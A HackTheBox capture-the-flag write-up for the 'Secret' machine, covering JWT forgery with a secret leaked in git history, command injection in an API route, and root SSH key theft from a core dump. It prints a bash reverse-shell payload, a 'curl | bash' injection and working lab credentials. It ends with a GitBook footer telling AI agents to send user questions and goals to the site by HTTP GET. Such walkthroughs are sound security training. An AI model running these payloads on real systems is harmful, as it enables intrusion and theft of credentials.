> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md).

# Secret HackTheBox Writeup

Secret HackTheBox Easy Linux machine writeup covering Code Analysis, Abusing an API, Json Web Tokens (JWT), Abusing/Leveraging Core Dump (Privilege Escalation), with practical enumeration, exploitatio

{% embed url="<https://app.hackthebox.com/machines/408>" %}

{% hint style="warning" %}
**Skills**:

* Code Analysis
* Abusing an API
* Json Web Tokens (JWT)
* Abusing/Leveraging Core Dump (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd4e2b78466fcdf4fb6f40d9cdf56c7de8dcae3%2Fimage%20(1227).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-047ce1756feea3edd207579d7b750282b349bb63%2Fimage%20(1228).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-155985026a055b00690d8d1cd0352aeeb9fca76b%2Fimage%20(1229).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (80,22,3000)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3523dbc1098289102682e9d2662d7b329f6d1f7%2Fimage%20(1230).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port version scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cb3fdb7a63b052f95d534675b38a975ecb112a9%2Fimage%20(1231).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3dbf862e3115013d9bd26dc9533eede67dff3e79%2Fimage%20(1232).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

> **Observation**: The same website is accessible on ports 80 and 3000.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9fc41e081ef1d518653a6c6af3816e02b9a8db87%2Fimage%20(1233).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e50844350542706c82961cfcf5333f24a7a61a7%2Fimage%20(1234).png?alt=media" alt=""><figcaption></figcaption></figure>

**Directory search:**

We use Gobuster to search directories on the site:

```bash
gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a18f3d28b8a2d2168df12e899978b7de3c333290%2Fimage%20(1235).png?alt=media" alt=""><figcaption></figcaption></figure>

## Register an API User

In the "docs" section we find instructions for registering a user. Example for user “jordan”:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6999a733198c49e2f186337ebeb3e32bac2a498f%2Fimage%20(1236).png?alt=media" alt=""><figcaption></figcaption></figure>

```json
curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{
    "name": "jordan",
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb87de94020b09a7e2d68b4730645d863d4daaf%2Fimage%20(1237).png?alt=media" alt=""><figcaption></figcaption></figure>

## Authentication API

To connect:

```json
curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

This returns us an authentication token (`auth-token`).

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dee59df160c352f60877a307b5a631bde4dbcf7%2Fimage%20(1239).png?alt=media" alt=""><figcaption></figcaption></figure>

### Checking the default Json Body

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-460acdc7529996460a2558eec0b5775a3a17e3cc%2Fimage%20(1240).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`email: "root@dasith.works"`

`password: "Kekc8swFgD6zU"`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd1f12b1db1c5e22562aa43126373bef167b0517%2Fimage%20(1241).png?alt=media" alt=""><figcaption></figcaption></figure>

### Vulnerability check [JSON Web Token](/web-vulnerabilities/json-web-token-jwt-attack.md)

Use a site to decode the JWT to read and manipulate its contents.

> **Note**: The JWT token should be invalid. By modifying the "name" and "email" fields for those of an administrator:

{% embed url="<https://jwt.io/>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a0bd7710d4e5028359c2f27021def852a0bfccd%2Fimage%20(1242).png?alt=media" alt=""><figcaption></figcaption></figure>

`"name": "theadmin",`

`"email": "root@dasith.works",`

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9bc07b75cee5ed7d00e5a2fdefb496593e863a44%2Fimage%20(1243).png?alt=media" alt=""><figcaption></figcaption></figure>

### Attempting to access a private API:

Trying to connect to a private API using the modified JWT:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq
```

{% endcode %}

We receive an "invalid token" message.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62b1014544bb6d35497ccce4f3738825506ccf2d%2F%7B1D99F76B-6CBA-48D0-80E0-5D74C6B26617%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

With our own JWT we have access as a normal user:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq
```

{% endcode %}

We receive a message "You are normal user".

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11ee86ebb9b3ac55f4bac96128af2fe787281136%2Fimage%20(1245).png?alt=media" alt=""><figcaption></figcaption></figure>

## Enumeration of API routes with Wfuzz

Use Wfuzz to explore available routes:

{% code fullWidth="true" %}

```bash
wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ
```

{% endcode %}

New discovery: the `/api/logs` route.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-710b0292ebaeebe591b7ac5be43e13a11522fed7%2Fimage%20(1246).png?alt=media" alt=""><figcaption></figcaption></figure>

## Source code analysis

The web page provides an option to download the source code.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-136cbad5c33925608408c582eaa862567264b6ef%2F%7BAA2DE895-8736-431D-9366-232BCBCEA8FC%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

> **Trouvailles** :

* A `.env` file containing a `token_secret` with the value "secret".

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5248aaa9430223b0e6e6edf2f999ba23e6d96f95%2Fimage%20(1248).png?alt=media" alt=""><figcaption></figcaption></figure>

A `.git` folder with a commit indicating the deletion of file `.env`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ca75d6ad90c3840b33537c3a1629dc2f4a1a289%2Fimage%20(1250).png?alt=media" alt=""><figcaption></figcaption></figure>

The old deleted `token_secret` is found:

`gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3728fb1de3ce7f8b8270fd1f26c1804bee366d65%2Fimage%20(1251).png?alt=media" alt=""><figcaption></figcaption></figure>

Use this old `token_secret` to sign a JWT with admin information, and access the private API:

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b937e371d7774480edd032f1d078f7502ce830b2%2Fimage%20(1252).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

> **Result**: Welcome message as admin: "welcome back admin".

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbc0c88782d301687c4ec1b9602705e60e0b7feb%2Fimage%20(1253).png?alt=media" alt=""><figcaption></figcaption></figure>

Finally, by running the `/api/logs` route, the following content is displayed:

```json
"cmd": "git log --oneline undefined"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf8b0deee726a0fc7dff6e7f34a2032b99018661%2Fimage%20(1254).png?alt=media" alt=""><figcaption></figcaption></figure>

By examining the `privitate.js` file and analyzing the code, we see that:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a3bf30a7f451aa9db6d2034ea845a91e796b8eb%2Fimage%20(2313).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability RCE:

{% hint style="info" %}
This code has a security issue due to command injection. Because `file` comes from the query parameters and is inserted directly into the terminal command, a malicious user could modify `file` to execute other commands. The function of this route is to execute the `git log --oneline [file]` command on the system, where `[file]` is a specific file requested in the request's query parameter.
{% endhint %}

Here is an example `curl` command that attempts to inject `id`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-848c8851ffee223da314c8e04bea2bc7c3075da4%2Fimage%20(2315).png?alt=media" alt=""><figcaption></figcaption></figure>

#### We will run a reverse shell:

1. Create a `index.html` file on our machine and create a web server with the following content:

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```

2. Next, listen on port 4444:

```bash
nc -nlvp 4444
```

Run an injection with `curl` on our web server:

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cedfe8dd904f6ed70b485c5644858e68e23b1cd%2Fimage%20(2316).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f7d841d17170976d770ce6d662cc4d4ce81878e%2Fimage%20(2317).png?alt=media" alt=""><figcaption></figcaption></figure>

**Terminal Handling:**/ Once you have access to the Linux server, here are the commands to run for efficient processing in the terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilize the shell for more comfortable work. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Privilege Escalation (SUID)

With the following command we check if our user **has SUID privileges**:

```bash
find / -perm -4000 2>/dev/null
```

We find a rare file located at `/opt/count`, whose owner is `root`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87d5333145a9b7bcf5f699b1d7c0bbaaafa3571%2Fimage%20(2319).png?alt=media" alt=""><figcaption></figcaption></figure>

When running this binary, it asks us to provide a file, then it lists the total number of characters, words and lines. This script will read the contents of the file and then display its properties.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a1d8401c56482479fa54edce702238b1a2d029c%2Fimage%20(2320).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Core Dump Binary

By examining the source code, we can observe that a core dump is generated, temporarily storing the contents in case of an error.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e3a5192c795d5268a6d5e9c3932e06c27607fb0%2Fimage%20(2321).png?alt=media" alt=""><figcaption></figcaption></figure>

Errors are saved in the `/var/crash` directory. Here's how to create a core dump:

1. **Enter the name of the file or directory:**

   ```bash
   Enter source file/directory name: /root/.ssh/id_rsa
   ```

*(SSH root key)* 2. **Save results to a file?**

````
```css
Save results to a file? [y/N]: ^Z
```
````

*(Put to background)* 3. **Get the PID:**

````
```bash
ps
```

_(Copier le PID)_
````

4\. **Tuer le processus :**

````
```bash
kill -BUS 'PID'
```
````

5\. **Rerun the binary:**

````
```bash
fg
```
````

6\. **Check core dumps directory:**

````
```bash
ls -l /var/crash
```
````

*(A new file appears: `_opt_count.1000.crash`)*

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-347b54bb37f17463314e11c851486617677d579c%2Fimage%20(2322).png?alt=media" alt=""><figcaption></figcaption></figure>

We now have a base64 core dump containing root's SSH key.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02fc419de4dd4fcfe845c6e5c32ea0241a23c11%2Fimage%20(2323).png?alt=media" alt=""><figcaption></figcaption></figure>

### Apport-umpack

To extract the information, we will use `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Next, we'll list the contents of the file in `/tmp/ssh/coredump` using `strings`:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c46dda2047d199cecd58836ce510b4a60aa12e6e%2Fimage%20(2324).png?alt=media" alt=""><figcaption></figcaption></figure>

We find the SSH root key

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f48f43f85f369a86a2a7d54a0e41379b2a00201%2Fimage%20(2325).png?alt=media" alt=""><figcaption></figcaption></figure>

### SSH connection

Once we have created the `id_rsa` file with permissions 600, we can connect via SSH:

```bash
ssh root@10.10.11.120 -i id_rsa
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91b0bd425f0094928274c7144d40640cdfd95213%2Fimage%20(2326).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47355d0513a62affc5955fb6bca8127b2f6ad8bf%2Fimage%20(2327).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ca601e7672ecb82415ddabe5640db523984d781%2F%7B7BF63289-F544-42DA-953D-EDB41888B53C%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
